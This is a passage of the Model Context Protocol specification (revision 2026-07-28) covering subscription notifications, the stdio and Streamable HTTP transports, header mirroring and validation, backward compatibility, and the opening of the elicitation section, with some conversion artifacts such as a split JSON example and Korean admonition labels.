The server **MUST** send `notifications/subscriptions/acknowledged` as the first message carrying the subscription's ID in `_meta` under `io.modelcontextprotocol/subscriptionId`, and **MUST NOT** send any notification on the subscription before it. On stdio, where every subscription shares one channel, this ordering is defined per subscription ID and not per channel: messages belonging to other subscriptions **MAY** be interleaved before it.

The `notifications` field in the acknowledgment reflects the subset the server agreed to honor. Notification types the server does not support are omitted.

```
{
  "jsonrpc": "2.0",
  "method": "notifications/subscriptions/acknowledged",
  "params": {
    "_meta": {
      "io.modelcontextprotocol/subscriptionId": 1
    },
    "notifications": {
      "toolsListChanged": true,
      "resourceSubscriptions": ["file:///project/config.json"]
    }
  }
}
```

The client **SHOULD** check the acknowledged filter against what it requested and handle any unsupported types gracefully.

Receiving Notifications

All notifications delivered on the stream carry `io.modelcontextprotocol/subscriptionId` in `_meta`, identifying the `subscriptions/listen` request that opened the stream. The value is the JSON-RPC ID of the `subscriptions/listen` request. In the examples above, the request used `"id": 1`, so the acknowledgment and all subsequent notifications carry the subscription ID `1`. On stdio, where all messages share a single channel, clients **MUST** use this field to correlate notifications with their originating subscription.

```
{
  "jsonrpc": "2.0",
  "method": "notifications/resources/updated",
  "params": {
    "_meta": {
      "io.modelcontextprotocol/subscriptionId": 1
    },
  },
}
```

```
"uri": "file:///project/config.json"
}
}
```

Multiple Concurrent Subscriptions

A client **MAY** have multiple active subscriptions concurrently — for example, one listening for tools-list changes and another for resource updates. Each subscription is identified by the JSON-RPC request ID of its `subscriptions/listen` request, and every notification on the stream carries that ID in `io.modelcontextprotocol/subscriptionId` so clients can demultiplex them.

Cancellation

A subscription ends when:

- The **client** cancels it — close the SSE stream (HTTP) or send `notifications/cancelled` referencing the `subscriptions/listen` request ID (stdio).
- The **server** tears it down (e.g., during shutdown) — it **SHOULD** send a successful `subscriptions/listen` response to signal a graceful end (see [Graceful Closure](#)), then close the stream.
- The underlying transport closes (HTTP timeout, TCP disconnect, stdio process exit).

Graceful Closure

When the server ends a subscription on its own initiative (for example, during shutdown), it **SHOULD** respond to the original `subscriptions/listen` request with a completion result before closing the stream. The result carries no method-specific data beyond the standard result fields and subscription metadata. This is the JSON-RPC response to the long-lived request, correlated by its `id`, and signals that the subscription ended gracefully — as opposed to an abrupt transport drop, which carries no response.

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "resultType": "complete",
    "_meta": {
      "io.modelcontextprotocol/subscriptionId": 1
    }
  }
}
```

Like every other message on the stream, the response carries `io.modelcontextprotocol/subscriptionId` in `_meta`, identifying which subscription it closes. The value matches the JSON-RPC `id` of the originating `subscriptions/listen` request.

A client that receives this response knows the subscription closed cleanly; a transport that closes without it indicates an unexpected disconnect, which the client **MAY** treat as a trigger to reconnect.

On **stdio**, if the connection is terminated and then re-established, the client **MUST** re-send `subscriptions/listen` to re-establish its subscriptions — the server holds no subscription state across reconnections.

See [Cancellation](#) for the full rules.

**mcp / specification/2026-07-
28/basic/transport**

Overview

mcp/specification/2026-07-28/basic/transports/index.mdx

This page defines what a transport must provide to carry MCP messages, the standard transport bindings, and the requirements for defining new ones.

Protocol semantics are identical on every transport. A transport is a **binding**: it defines how messages are framed and delivered, how request metadata is carried, and how cancellation and termination are signaled. It does not define what the messages mean: the [message patterns](#) are part of the core protocol and are the same on every binding. The binding pages specify the standard transports:

1. [stdio](#): newline-delimited messages over the standard streams of a client-launched subprocess.
2. [Streamable HTTP](#): each message is an HTTP POST to a single MCP endpoint; replies arrive as a JSON object or a request-scoped SSE stream.

It is also possible for clients and servers to implement [custom transports](#).

Messages

MCP uses JSON-RPC to encode messages. JSON-RPC messages **MUST** be UTF-8 encoded.

A binding **MUST** deliver client-sent *requests* and *notifications* to the server, and server-sent *responses* and *notifications* to the client. No other message direction exists: per the [message patterns](#), servers do not initiate JSON-RPC requests and clients do not send JSON-RPC responses.

Request Metadata

All protocol metadata travels in the message body: every request carries its protocol version and client capabilities in [meta.io.modelcontextprotocol/*](#) fields.

A binding **MAY** additionally mirror selected body fields into envelope metadata. The Streamable HTTP transport mirrors them into [HTTP headers](#) so that intermediaries can route and inspect requests without parsing the body. The body remains the source of truth; bindings that mirror metadata define how mismatches are rejected.

Cancellation

Each binding defines how a client abandons an in-flight request: on stdio the client sends a `notifications/cancelled` notification; on Streamable HTTP it closes the request's response stream. The protocol-level rules are the same everywhere; see [Cancellation](#).

Custom Transports

Clients and servers **MAY** implement additional custom transport mechanisms to suit their specific needs. The protocol is transport-agnostic and can be implemented over any communication channel that supports bidirectional message exchange.

Implementers who choose to support custom transports **MUST** preserve the JSON-RPC message format, the [message patterns](#), and the per-request metadata model. Custom transports **SHOULD** document their connection establishment, message framing, and cancellation patterns to aid interoperability.

Custom transports that run over a reliable bidirectional byte stream (e.g., Unix domain sockets or TCP) **SHOULD** reuse the [stdio framing](#) rather than defining a new one: the stdio binding is just newline-delimited JSON-RPC over a byte stream, and only its process-lifecycle rules are specific to standard streams.

Backward Compatibility

Earlier protocol revisions established a connection-scoped session with an `initialize` handshake and allowed servers to initiate JSON-RPC requests. Clients and servers that interoperate with those revisions detect the counterpart's era and fall back as described in [Versioning: Backward Compatibility](#), which includes a compatibility matrix for implementors. Each binding page describes its transport-specific detection mechanics.

stdio

mcp/specification/2026-07-28/basic/transports/stdio.mdx

In the **stdio** transport, the client launches the MCP server as a subprocess. The two ends communicate over the subprocess's standard streams:

- The server reads JSON-RPC messages from `stdin` and writes JSON-RPC messages to `stdout`.
- Each message is a single JSON-RPC request, notification, or response.
- Messages are delimited by newlines, and **MUST NOT** contain embedded newlines.
- The server **MAY** write UTF-8 strings to `stderr` for any logging purposes including informational, debug, and error messages.
- The client **MAY** capture, forward, or ignore the server's `stderr` output and **SHOULD NOT** assume `stderr` output indicates error conditions.
- The server **MUST NOT** write anything to its `stdout` that is not a valid MCP message.
- The client **MUST NOT** write anything to the server's `stdin` that is not a valid MCP message.

Standard streams are the canonical channel, but nothing in this binding depends on them except the process lifecycle. The wire format (one newline-delimited JSON-RPC message per line over a reliable bidirectional byte stream) works unchanged over Unix domain sockets, TCP connections, or any similar channel. [Custom transports](#) built on such streams **SHOULD** reuse this framing and the message rules on this page; only the subprocess-specific aspects (launch, `stderr`, shutdown by closing the stream, process restart) need channel-specific equivalents.

Sending Messages

The client sends messages by writing JSON-RPC *requests* and *notifications* to the server's `stdin`, one message per line. The client **MUST NOT** write JSON-RPC *responses*.

Receiving Messages

The client reads server messages from `stdout`, one message per line. All messages share this single channel; there are no per-request streams.

The server writes three kinds of messages:

1. *Responses* to client requests, correlated by JSON-RPC `id`.
2. *Notifications* that relate to an in-flight request, such as `notifications/progress` and `notifications/message`.
3. *Notifications* delivered for an active [subscriptions/listen](#) request. Clients **MUST** correlate these using the `io.modelcontextprotocol.subscriptionId` field in `_meta`; see [SubscriptionsListenRequest](#).

The server **MUST NOT** write JSON-RPC *requests* to `stdout`. Server-to-client interactions are carried in [InputRequiredResult](#) replies; see [Multi Round-Trip Requests](#).

Request Metadata

All request metadata for the stdio transport is carried inline in the JSON-RPC message body. The protocol version, per-request capabilities, and optional client identity live in [meta.io.modelcontextprotocol/*](#); the method name and arguments live where JSON-RPC puts them. There is no header layer.

Cancellation

To cancel an in-flight request, the client **MUST** send a `notifications/cancelled` notification referencing the request's ID. Because stdio is a single shared bidirectional channel, there is no per-request stream to close. Servers **SHOULD** stop work on a cancelled request as soon as practical and **MUST NOT** send any further messages for it. See [Cancellation](#) for the full rules.

Shutdown

The client **SHOULD** initiate shutdown by:

1. Closing the input stream to the child process (the server).
2. Waiting for the server to exit.
3. If the server does not exit within a reasonable time, forcibly terminating the process using the mechanism appropriate for the operating system.

On POSIX systems, forced termination typically escalates from [SIGTERM](#) to `SIGKILL`. On Windows, where POSIX signals are not available, clients can use [TerminateProcess](#) or [Job Objects](#).

Servers **SHOULD** exit promptly when their standard input is closed or reads return end-of-file. This is the primary graceful-shutdown signal and the only portable one, so honoring it reduces the need for forced termination.

The server **MAY** initiate shutdown by closing its output stream to the client and exiting.

Unexpected Termination

If the server process exits unexpectedly, the client **SHOULD** restart it. Because the protocol is stateless, any in-flight requests are simply lost and the client can retry them against the fresh process. Active [subscriptions/listen](#) streams must also be re-established after restart.

Backward Compatibility

A client that supports both modern (per-request-metadata) MCP versions and a legacy version that requires an `initialize` handshake **SHOULD** probe with `server/discover` before sending any other request, setting its preferred modern version in `_meta`. The probe has three possible outcomes:

- The server returns a `DiscoverResult`: the server is modern. Select a mutually supported version from `supportedVersions` and continue.
- The server returns a recognized modern JSON-RPC error such as `UnsupportedProtocolVersionError`: the server is modern but does not support the requested version. Use one of the versions in its advertised `supported` list. Do **not** fall back to `initialize`.
- The server returns any other error, or does not respond within a reasonable timeout: the server is legacy. Fall back to the `initialize` handshake.

The fallback **MUST NOT** be keyed to one specific error code: legacy servers respond to unknown pre-`initialize` requests with implementation-defined errors (commonly `-32601` or `-32602`) or not at all.

A client that only supports modern versions does not need to probe, but probing is still **RECOMMENDED**: some legacy servers do not validate that a request arrives after `initialize` and would process an era-ambiguous method (such as `tools/call`) under legacy semantics. Probing yields a deterministic failure instead.

See [Versioning: Backward Compatibility](#) for the era model and a compatibility matrix for implementors.

Streamable HTTP

mcp/specification/2026-07-28/basic/transports/streamable-http.mdx

정보

Streamable HTTP was introduced in protocol version 2025-03-26 as a replacement for the [HTTP+SSE transport](#) from protocol version 2024-11-05.

정보

Revision 2026-07-28 changed the behavior of Streamable HTTP. Clients must ensure they handle backwards compatibility correctly. Changes included:

- Removal of the GET stream endpoint.
- Removal of protocol-level sessions.

See the [changelog](#) and [Backward Compatibility](#) below.

In the **Streamable HTTP** transport, the server operates as an independent process that can handle multiple client connections. At a glance:

- The server exposes a single HTTP endpoint (the **MCP endpoint**) that accepts POST.
- The client sends every JSON-RPC request or notification as its own HTTP POST.
- The server answers each request with either a single JSON object or a [Server-Sent Events](#) (SSE) stream scoped to that request, carrying request-related notifications followed by the final response.
- Server-to-client interactions (sampling, elicitation, roots) are embedded in results as input requests per [Multi Round-Trip Requests \(MRTR\)](#) ([SEP-2322](#)).
- Long-lived change notifications (such as list changes and resource updates) are delivered on the response stream of a [subscriptions/listen](#) request.

See [Message Flow](#) for sequence diagrams of these interactions.

The server **MUST** provide a single HTTP endpoint path (hereafter referred to as the **MCP endpoint**) that supports POST. For example, this could be a URL like `https://example.com/mcp`.

Security & Endpoint

When implementing Streamable HTTP transport:

1. Servers **MUST** validate the `origin` header on all incoming connections to prevent DNS rebinding attacks. - If the `origin` header is present and invalid, servers **MUST** respond with

HTTP 403 Forbidden. The HTTP response body **MAY** comprise a JSON-RPC *error response* that has no `id`.

2. When running locally, servers **SHOULD** bind only to localhost (127.0.0.1) rather than all network interfaces (0.0.0.0).
3. Servers **SHOULD** implement proper authentication for all connections.

Without these protections, attackers could use DNS rebinding to interact with local MCP servers from remote websites.

Sending Messages

Every JSON-RPC message sent from the client **MUST** be a new HTTP POST request to the MCP endpoint.

1. The client **MUST** use HTTP POST to send JSON-RPC messages.
2. The client **MUST** include an `Accept` header listing both `application/json` and `text/event-stream` as supported content types.
3. The client **MUST** include the [request metadata headers](#) on each POST request.
4. The body of the HTTP POST **MUST** be a single JSON-RPC *request* or *notification*. The client **MUST NOT** send JSON-RPC *responses*.
5. If the body is a JSON-RPC *notification*: - If the server accepts it, the server **MUST** return HTTP status code `202 Accepted` with no body. - If the server cannot accept it, it **MUST** return an HTTP error status code (e.g., `400 Bad Request`). The HTTP response body **MAY** comprise a JSON-RPC *error response* that has no `id`.
6. If the body is a JSON-RPC *request*, the server **MUST** return either `Content-Type: application/json` (a single JSON object) or `Content-Type: text/event-stream` (an SSE response stream). The client **MUST** support both.

참고

This revision of the core protocol defines no client-to-server *notifications* over Streamable HTTP. The only client-sent notification in the core protocol, `notifications/cancelled`, is used only on the [stdio](#) transport; on Streamable HTTP, closing the SSE response stream is itself the cancellation signal and no `notifications/cancelled` message is expected (see [Cancellation](#)). The notification rules above describe the transport mechanics for a notification POST; header requirements for notification POSTs are not defined by this revision.

Receiving Messages

When the server returns an SSE response stream (`Content-Type: text/event-stream`):

- The server **MAY** send JSON-RPC *notifications* — for example, [notifications/progress](#) or [notifications/message](#) — before the final response. These notifications **MUST** relate to the

originating client request.

- The server **MUST NOT** send independent JSON-RPC *requests* on this stream. Server-to-client interactions (sampling, elicitation, list-roots) are embedded as input requests inside an [InputRequiredResult](#) per [MRTR \(SEP-2322\)](#), not delivered as separate requests on this or any other stream. This is a change from Streamable HTTP in protocol versions 2025-03-26 through 2025-11-25, where servers could send such requests on SSE streams.
- The final JSON-RPC *response* **SHOULD** terminate the stream.

Long-lived notification streams are obtained by sending a [subscriptions/listen](#) request. The server's response is itself an SSE stream that stays open and delivers the change notifications the client opted in to (such as `notifications/tools/list_changed` or `notifications/resources/updated`). Request-scoped notifications like `notifications/progress` and `notifications/message` are **not** delivered on the listen stream — they flow only on the response stream of the request they relate to.

When initiating an SSE stream, servers **SHOULD** include the `X-Accel-Buffering: no` header in the HTTP response. This instructs reverse proxies (such as nginx) to disable response buffering, ensuring that SSE events are delivered to clients immediately rather than being held in a buffer. Without this header, proxies may accumulate messages before sending them to the client, introducing unwanted latency and potentially breaking the real-time nature of SSE communication.

참고

For long-lived streams — in particular the [subscriptions/listen](#) response stream — servers are encouraged to periodically emit an SSE comment line (a line beginning with a colon, e.g. `: \r\n`) as a keep-alive. This keeps the connection from being closed by intermediaries or client idle timeouts during quiet periods when no notifications are flowing. Per the [SSE specification](#), any line beginning with a colon is a comment that carries no event data; clients must ignore such lines and must not treat them as malformed input.

Resumable SSE streams via `Last-Event-ID` are not supported.

Message Flow

The following diagrams illustrate the message flows on a single MCP endpoint.

Requests and responses. Each request is its own POST; the server chooses per request whether to respond with a single JSON object or an SSE stream:

```
sequenceDiagram
    participant Client
    participant Server

    note over Client,Server: Simple response
    Client->>Server: POST tools/call (JSON-RPC request)
```

```
Server-->>Client: 200 OK, application/json<br/>JSON-RPC response
```

```
note over Client,Server: Streaming response
```

```
Client->>Server: POST tools/call (JSON-RPC request)
```

```
note over Server: Opens SSE stream<br/>scoped to this request
```

```
Server-->>Client: SSE: notifications/progress
```

```
Server-->>Client: SSE: notifications/progress
```

```
Server-->>Client: SSE: JSON-RPC response
```

```
note over Client,Server: Stream closes
```

```
note over Client,Server: Notification
```

```
Client->>Server: POST (JSON-RPC notification)
```

```
Server-->>Client: 202 Accepted
```

Server-to-client interactions (MRTR). When the server needs input from the client — sampling, elicitation, or roots — it does not send its own JSON-RPC request. It returns an [InputRequiredResult](#) containing `inputRequests`, and the client retries the original request with the matching `inputResponses` (see [Multi Round-Trip Requests](#)):

```
sequenceDiagram
```

```
participant Client
```

```
participant Server
```

```
Client->>Server: POST tools/call (id: 1)
```

```
note over Server: Needs user input or<br/>an LLM completion
```

```
Server-->>Client: InputRequiredResult<br/>(inputRequests: elicitation/create)
```

```
note over Client: Gathers the requested input
```

```
Client->>Server: POST tools/call (id: 2)<br/>(original params + inputResponses)
```

```
Server-->>Client: Final result
```

Change notifications. Clients that want server-initiated change notifications open a long-lived stream with [subscriptions/listen](#); the response stream stays open and carries only the notification types the client opted in to:

```
sequenceDiagram
```

```
participant Client
```

```
participant Server
```

```
Client->>Server: POST subscriptions/listen<br/>(notification filter)
```

```
Server-->>Client: SSE: notifications/subscriptions/acknowledged
```

```
note over Client,Server: Stream stays open
```

```
Server-->>Client: SSE: notifications/tools/list_changed
```

```
Server-->>Client: SSE: notifications/resources/updated
```

```
note over Client,Server: Until the client or server closes the stream
```

Cancellation

Closing the SSE response stream **MUST** be treated by the server as cancellation of that request. Because each request has its own response stream, the transport-level disconnect is unambiguous. The server **SHOULD** stop work on the cancelled request as soon as practical and **MUST NOT** send any further messages for it. See [Cancellation](#) for the full rules.

Request Metadata

The Streamable HTTP transport mirrors selected JSON-RPC body fields into HTTP headers so that intermediaries (load balancers, gateways, observability tooling) can route and inspect requests without parsing the body.

Protocol Version Header

Every POST request to the MCP endpoint **MUST** include an `MCP-Protocol-Version` header.

For example: `MCP-Protocol-Version: 2026-07-28`

The header value **MUST** match the `io.modelcontextprotocol/protocolVersion` field carried in the request body's `_meta`. If the values do not match, the server **MUST** reject the request with `400 Bad Request` and a `HeaderMismatch` JSON-RPC error (see [Server Validation](#)).

If the server does not implement the requested protocol version (whether the version is unknown to the server, or is a known version the server has chosen not to support), it **MUST** respond with `400 Bad Request` and an `UnsupportedProtocolVersionError` listing its supported versions. See [Versioning: Protocol Version Negotiation](#) for the negotiation flow.

If the server does not implement the requested RPC method, it **MUST** respond with `404 Not Found` and a JSON-RPC error with code `-32601` (`Method not found`). The JSON-RPC error body distinguishes this case from a `404` returned by a legacy [HTTP+SSE](#) server that does not host the modern MCP endpoint (see [Backward Compatibility](#)).

A server that supports clients implementing protocol versions earlier than `2025-06-18` (which did not define the `MCP-Protocol-Version` header) **MAY** treat a request that omits the header as protocol version `2025-03-26`. A server that does not support such clients **MUST** reject a request without the header per [Server Validation](#).

Standard Request Headers

Header Name	Source Field	Required For
<code>Mcp-Method</code>	<code>method</code>	All requests
<code>Mcp-Name</code>	<code>params.name</code> or <code>params.uri</code>	<code>tools/call</code> , <code>resources/read</code> , <code>prompts/get</code> requests

These headers are **REQUIRED** for compliance.

If the `Mcp-Name` source value cannot be safely represented as a plain ASCII header value, clients **MUST** encode it using the Base64 sentinel format described in [Value Encoding](#).

`tools/call` request:

```
POST /mcp HTTP/1.1
Content-Type: application/json
MCP-Protocol-Version: 2026-07-28
Mcp-Method: tools/call
Mcp-Name: get_weather

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "get_weather",
    "arguments": {
      "location": "Seattle, WA"
    },
  },
  "_meta": {
    "io.modelcontextprotocol/protocolVersion": "2026-07-28",
    "io.modelcontextprotocol/clientInfo": {
      "name": "ExampleClient",
      "version": "1.0.0"
    },
    "io.modelcontextprotocol/clientCapabilities": {}
  }
}
```

`resources/read` request:

```
POST /mcp HTTP/1.1
Content-Type: application/json
MCP-Protocol-Version: 2026-07-28
Mcp-Method: resources/read
Mcp-Name: file:///projects/myapp/config.json

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "resources/read",
  "params": {
    "uri": "file:///projects/myapp/config.json",
    "_meta": {
      "io.modelcontextprotocol/protocolVersion": "2026-07-28",
      "io.modelcontextprotocol/clientInfo": {
```

```

    "name": "ExampleClient",
    "version": "1.0.0"
  },
  "io.modelcontextprotocol/clientCapabilities": {}
}
}
}

```

Custom Headers from Tool Parameters

MCP servers **MAY** designate specific tool parameters to be mirrored into HTTP headers using an `x-mcp-header` extension property in the parameter's schema within the tool's `inputSchema`. See [Tool Definitions](#) for details on how to annotate tool parameters.

While the use of `x-mcp-header` is optional for servers, clients **MUST** support this feature. When a server's tool definition includes `x-mcp-header` annotations, conforming clients **MUST** mirror the designated parameter values into HTTP headers.

Schema Extension

The `x-mcp-header` property specifies the name portion used to construct the header name `Mcp-Param-{name}`.

Constraints on `x-mcp-header` values:

- **MUST NOT** be empty
- **MUST** match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](#))
- **MUST NOT** contain control characters, including carriage return (CR, `\r`) or line feed (LF, `\n`)
- **MUST** be case-insensitively unique among all `x-mcp-header` values in the `inputSchema`
- **MUST** only be applied to parameters with primitive types (integer, string, boolean).
Parameters with type `number` are not permitted. Integer values **MUST** be within the safe range for JavaScript ($-2^{53}+1$ to $2^{53}-1$)
- **MUST** only be applied to properties that are *statically reachable* from the schema root: reachable via a chain consisting solely of `properties` keys. The chain **MUST NOT** pass through `items` (or any other array keyword), composition keywords (`oneOf`, `anyOf`, `allOf`, `not`), conditional keywords (`if/then/else`), or `$ref`. Nested object properties are permitted as long as every step in the chain is a `properties` key. An `x-mcp-header` annotation anywhere else makes the annotation — and thus the tool definition — invalid.

Header extraction is defined as reading the instance value at the exact property path of the annotated property (the chain of `properties` keys leading to it). If no value is present at that path in the call arguments, the header is omitted.

Clients using the Streamable HTTP transport **MUST** reject tool definitions where any `x-mcp-header` value violates these constraints. Rejection means the client **MUST** exclude the invalid tool from the result of `tools/list`. Clients **SHOULD** log a warning when rejecting a tool definition, including the

tool name and the reason for rejection. This ensures that a single malformed tool definition does not prevent other valid tools from being used. Clients using other transports (e.g., stdio) **MAY** ignore `x-mcp-header` annotations entirely.

Example tool definition:

```
{
  "name": "execute_sql",
  "description": "Execute SQL on Google Cloud Spanner",
  "inputSchema": {
    "type": "object",
    "properties": {
      "region": {
        "type": "string",
        "description": "The region to execute the query in",
        "x-mcp-header": "Region"
      },
      "query": {
        "type": "string",
        "description": "The SQL query to execute"
      }
    },
    "required": ["region", "query"]
  }
}
```

Resulting HTTP request:

```
POST /mcp HTTP/1.1
Content-Type: application/json
MCP-Protocol-Version: 2026-07-28
Mcp-Method: tools/call
Mcp-Name: execute_sql
Mcp-Param-Region: us-west1

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "_meta": {
      "io.modelcontextprotocol/protocolVersion": "2026-07-28",
      "io.modelcontextprotocol/clientInfo": {
        "name": "ExampleClient",
        "version": "1.0.0"
      },
      "io.modelcontextprotocol/clientCapabilities": {}
    },
    "name": "execute_sql",
```

```
    "arguments": {
      "region": "us-west1",
      "query": "SELECT * FROM users"
    }
  }
}
```

Value Encoding

Clients **MUST** encode parameter values before including them in HTTP headers to ensure safe transmission and prevent injection attacks.

Type conversion: Convert the parameter value to its string representation:

- `string`: Use the value as-is
- `integer`: Convert to decimal string representation (e.g., `42`, `-7`)
- `boolean`: Convert to lowercase `"true"` or `"false"`

Per [RFC 9110](#), HTTP header field values must consist of visible ASCII characters (0x21-0x7E), space (0x20), and horizontal tab (0x09). When a value cannot be safely represented as a plain ASCII header value (e.g., it contains non-ASCII characters, control characters, or has leading/trailing whitespace), clients **MUST** use Base64 encoding of the UTF-8 representation with the following format:

```
Mcp-Param-{Name}: =?base64?{Base64EncodedValue}?=
```

The same encoding rule applies to the `Mcp-Name` header value. Tool and prompt names are only **SHOULD**-constrained to header-safe characters, so a name (or resource URI) outside the safe set is carried as:

```
Mcp-Name: =?base64?{Base64EncodedValue}?=
```

The prefix `=?base64?` and suffix `?=` indicate that the value is Base64-encoded. These markers are case-sensitive and **MUST** appear exactly as shown (lowercase). Servers and intermediaries that need to inspect these values **MUST** decode them accordingly. In particular, servers **MUST** decode an encoded `Mcp-Name` or `Mcp-Param-{Name}` value before comparing it to the corresponding request body value during [Server Validation](#).

To avoid ambiguity, clients **MUST** also Base64-encode any plain-ASCII value that matches the sentinel pattern (i.e., starts with `=?base64?` and ends with `?=`).

Encoding examples:

Original Value	Reason	Encoded Header Value
"us-west1"	Plain ASCII	Mcp-Param-Region: us-west1

Original Value	Reason	Encoded Header Value
"Hello, 世界"	Contains non-ASCII	Mcp-Param-Greeting: =?base64?SGVsbG8sIOS4lueVjA==? =
" padded "	Leading/trailing spaces	Mcp-Param-Text: =?base64?IHBhZGRlZCA=?= =
"line1\nline2"	Contains newline	Mcp-Param-Text: =?base64?bGluZTEkbGluZTI=?= =
"=?base64?literal? ="	Matches sentinel pattern	Mcp-Param-Val: =?base64?PT9iYXNlNjQ/bGl0ZXJhbD89=?= =

Client Behavior

When constructing a `tools/call` request via HTTP transport, the client **MUST**:

1. Extract the values for any standard headers from the request body (e.g., `method`, `params.name`, `params.uri`).
2. Append the `Mcp-Method` header and, if applicable, `Mcp-Name` header to the request.
3. Inspect the tool's `inputSchema` for properties marked with `x-mcp-header` and extract the value at each annotated property's exact property path, omitting the header when no value is present (see [Schema Extension](#)).
4. Encode the values according to the [Value Encoding](#) rules.
5. Append a `Mcp-Param-{Name}: {Value}` header to the request.

If the server rejects a request with a [HeaderMismatch](#) error because required `Mcp-Param-*` headers are missing or do not match the body, the client **SHOULD** call `tools/list` to check for changes to the tool's `inputSchema`, then retry the original request with the appropriate headers.

Server Behavior for Custom Headers

Intermediate servers that do not recognize an `Mcp-Param-{Name}` header **MUST** forward it and otherwise ignore it, as required by the [HTTP Semantics RFC](#).

Servers **MUST** reject requests with a recognized `Mcp-Param-{Name}` header that contains invalid characters (see [Value Encoding](#)).

Any server that processes the message body **MUST** validate that encoded header values, after decoding if Base64-encoded, match the corresponding values in the request body. Servers **MUST** reject requests with a `400 Bad Request` HTTP status and JSON-RPC error code `-32020` (`HeaderMismatch`) if any validation fails.

Scenario	Client Behavior	Server Behavior
Parameter value provided	Client MUST include the header	Server MUST validate header matches body
Parameter value is <code>null</code>	Client MUST omit the header	Server MUST NOT expect the header

Scenario	Client Behavior	Server Behavior
Parameter not in arguments	Client MUST omit the header	Server MUST NOT expect the header
Client omits header but value is in body	Non-conforming client	Server MUST reject the request

Case Sensitivity

Header names (called "field names" in [RFC 9110](#)) are case-insensitive. Clients and servers **MUST** use case-insensitive comparisons for header names. Header *values* (such as method names) are case-sensitive.

Server Validation

Servers that process the request body **MUST** reject requests where the values specified in the headers do not match the corresponding values in the request body. This prevents potential security vulnerabilities when different components in the network rely on different sources of truth (e.g., a load balancer routing on the header value while the MCP server executes based on the body value).

참고

When validating integer parameter values, servers **SHOULD** compare the header value and the body value numerically rather than as strings (e.g., 42.0 and 42 are considered equal).

When rejecting a request due to header validation failure, servers **MUST** return HTTP status 400 Bad Request and **MUST** include a JSON-RPC error response using the following error code:

Code	Name	Description
-32020	HeaderMismatch	The HTTP headers do not match the corresponding values in the request body, or required headers are missing/malformed.

This error code is allocated from the sub-range the MCP specification reserves for protocol-defined errors. See [Error Codes](#).

Example error response:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "error": {
    "code": -32020,
    "message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'"
  }
}
```

```
}  
}
```

Validation failure conditions include:

- A required standard header (`MCP-Protocol-Version` , `Mcp-Method` , `Mcp-Name`) is missing.
- A header value does not match the corresponding request body value. For headers that permit the Base64 sentinel encoding (`Mcp-Name` and `Mcp-Param-{Name}`), servers **MUST** decode encoded values (see [Value Encoding](#)) before comparing them to the body value.
- A header value contains invalid characters.

참고

Intermediaries **MUST** return an appropriate HTTP error status (e.g., `400 Bad Request`) for validation failures but are not required to return a JSON-RPC error response.

참고

Intermediaries that enforce policy based on mirrored headers (e.g., routing or rate-limiting by tenant) **SHOULD** verify that the `MCP-Protocol-Version` header indicates a version that requires header-body validation. If the version is older or the header is absent, the intermediary **SHOULD** reject the request rather than trusting unvalidated header values.

Backward Compatibility

A client that supports both modern (per-request-metadata) MCP versions and a legacy version that requires an `initialize` handshake **MAY** detect which era the server implements by attempting a modern request first. On `400 Bad Request` , the client **SHOULD** inspect the response body before falling back: modern servers also use `400` for [UnsupportedProtocolVersionError](#) , `MissingRequiredClientCapabilityError` , and header-validation failures.

- If the body contains a recognized modern JSON-RPC error, the server speaks a modern version of MCP — retry using the advertised `supported` versions or correct the request, rather than falling back.
- If the body is empty or is not a recognized modern JSON-RPC error, fall back to `initialize` and continue with the legacy version for subsequent requests.

See [Versioning: Backward Compatibility](#) for the era model and a compatibility matrix for implementors.

Earlier Streamable HTTP Revisions

Protocol versions `2025-03-26` through [2025-11-25](#) also used the Streamable HTTP transport, but in a different shape: servers could assign a session via the `Mcp-Session-Id` header (terminated with HTTP

DELETE), clients could open a standalone SSE stream with HTTP GET to receive server-initiated messages, servers could send JSON-RPC *requests* on SSE streams, and streams were resumable via `Last-Event-ID`. None of these mechanisms are part of this revision.

A server that supports only this revision and receives such traffic from an older client **SHOULD** respond as follows:

- HTTP GET or DELETE to the MCP endpoint: respond with `405 Method Not Allowed`.
- An `Mcp-Session-Id` header on a request: ignore it, and do not mint or echo session IDs.
- A `Last-Event-ID` header: ignore it; streams are not resumable.

Servers and clients that need to interoperate with counterparts speaking those protocol versions implement the behavior described in the corresponding revision (for example, [2025-11-25: Streamable HTTP](#)), in addition to the version-negotiation fallback described above.

HTTP+SSE Transport (2024-11-05)

주의

Deprecated: The [HTTP+SSE transport](#) from protocol version 2024-11-05 has been deprecated since protocol version 2025-03-26 and is classified as Deprecated under the [feature lifecycle policy](#) (SEP-2596). New implementations **SHOULD NOT** adopt it; existing implementations **SHOULD** migrate to [Streamable HTTP](#). It is eligible for removal in a future revision; see the [deprecated features registry](#).

Clients and servers can maintain backward compatibility with the deprecated [HTTP+SSE transport](#) (from protocol version 2024-11-05) as follows:

Servers wanting to support older clients should:

- Continue to host both the SSE and POST endpoints of the old transport, alongside the new "MCP endpoint" defined for the Streamable HTTP transport.
- It is also possible to combine the old POST endpoint and the new MCP endpoint, but this may introduce unneeded complexity.

Clients wanting to support older servers should:

1. Accept an MCP server URL from the user, which may point to either a server using the old transport or the new transport.
2. Attempt to POST a request to the server URL, with an `Accept` header as defined above: - If it succeeds, the client can assume this is a server supporting the new Streamable HTTP transport. - If it fails with HTTP status code `400 Bad Request`, `404 Not Found`, OR `405 Method Not Allowed` **and** the response body is not a recognized modern JSON-RPC error (a modern server returns one for unsupported version, unknown method, or header-validation failure):

- Issue a GET request to the server URL, expecting that this will open an SSE stream and return an `endpoint` event as the first event.
- When the `endpoint` event arrives, the client can assume this is a server running the old HTTP+SSE transport, and should use that transport for all subsequent communication.

mcp / specification/2026-07-28/client

Elicitation

mcp/specification/2026-07-28/client/elicitation.mdx

The Model Context Protocol (MCP) provides a standardized way for servers to request additional information from users through the client during interactions. This flow allows clients to maintain control over user interactions and data sharing while enabling servers to gather necessary information dynamically.

Elicitation supports two modes:

- **Form mode:** Servers can request structured data from users with optional JSON schemas to validate responses
- **URL mode:** Servers can direct users to external URLs for sensitive interactions that must *not* pass through the MCP client

User Interaction Model

Elicitation in MCP allows servers to implement interactive workflows by enabling user input requests to occur *nested* inside other MCP server features.

